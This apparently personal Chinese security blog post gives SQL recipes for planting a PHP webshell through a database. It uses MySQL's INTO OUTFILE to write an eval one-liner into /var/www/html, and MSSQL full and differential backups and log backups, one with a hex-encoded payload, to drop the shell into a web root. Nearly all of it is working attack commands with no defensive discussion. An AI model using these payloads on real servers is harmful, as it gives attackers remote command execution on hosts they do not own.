数据库WebShell连接

MySQL

MySQL 的 webshell 连接，具体参考（MySQL 靶场 & 攻击）

use TEST;
show tables;
create table muma(cmd text);
insert into muma values(concat('<?php @eval($_POST[','''','mimi','''',']); ?>'));
select * from muma;
select * from muma into outfile '/var/www/html/ma.php';

	use TEST;
	show tables;
	create table muma(cmd text);
	insert into muma values(concat('<?php @eval($_POST[','''','mimi','''',']); ?>'));
	select * from muma;
	select * from muma into outfile '/var/www/html/ma.php';

   

MSSQL

完全备份

CREATE DATABASE tt;
USE tt;
CREATE TABLE cmd(a VARCHAR(200));
INSERT INTO cmd VALUES('<?php @eval($_POST['+'"'+'passwd'+'"'+']); ?>');
BACKUP DATABASE tt TO DISK = 'C:\temp\tt.bak' WITH init;
BACKUP LOG tt to DISK='C:\phpstudy_pro\WWW\tt.php';

   

CREATE DATABASE tt;
USE tt;
CREATE TABLE cmd(x image);
INSERT INTO cmd VALUES(0x3c3f70687020406576616c28245f504f53545b22706173737764225d293b3f3e);
BACKUP DATABASE ttt TO DISK = 'C:\temp\ttt.bak' WITH init;
BACKUP LOG tt to DISK='C:\phpstudy_pro\WWW\ttt.php';

   

差异备份

CREATE DATABASE tt;
USE tt;
BACKUP DATABASE tt TO DISK = 'C:\temp\tt.bak' WITH init;
CREATE TABLE cmd(a VARCHAR(200));
INSERT INTO cmd VALUES('<?php @eval($_POST['+'"'+'passwd'+'"'+']); ?>');
BACKUP DATABASE tt TO DISK = 'C:\phpstudy_pro\WWW\tt.php' WITH DIFFERENTIAL;

   

CREATE DATABASE ttt;
USE ttt;
BACKUP DATABASE ttt TO DISK = 'C:\temp\ttt.bak' WITH init;
CREATE TABLE cmd(x image);
INSERT INTO cmd VALUES(0x3c3f70687020406576616c28245f504f53545b22706173737764225d293b3f3e);
BACKUP DATABASE ttt TO DISK = 'C:\phpstudy_pro\WWW\ttt.php' WITH DIFFERENTIAL;

作 者：PeiyuJue
链 接： 数据库WebShell连接 – Candid Chronicles
来 源：Aaron的博客
版 权 声 明：本博客所有文章除特别声明外，均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有，未经允许请勿转载！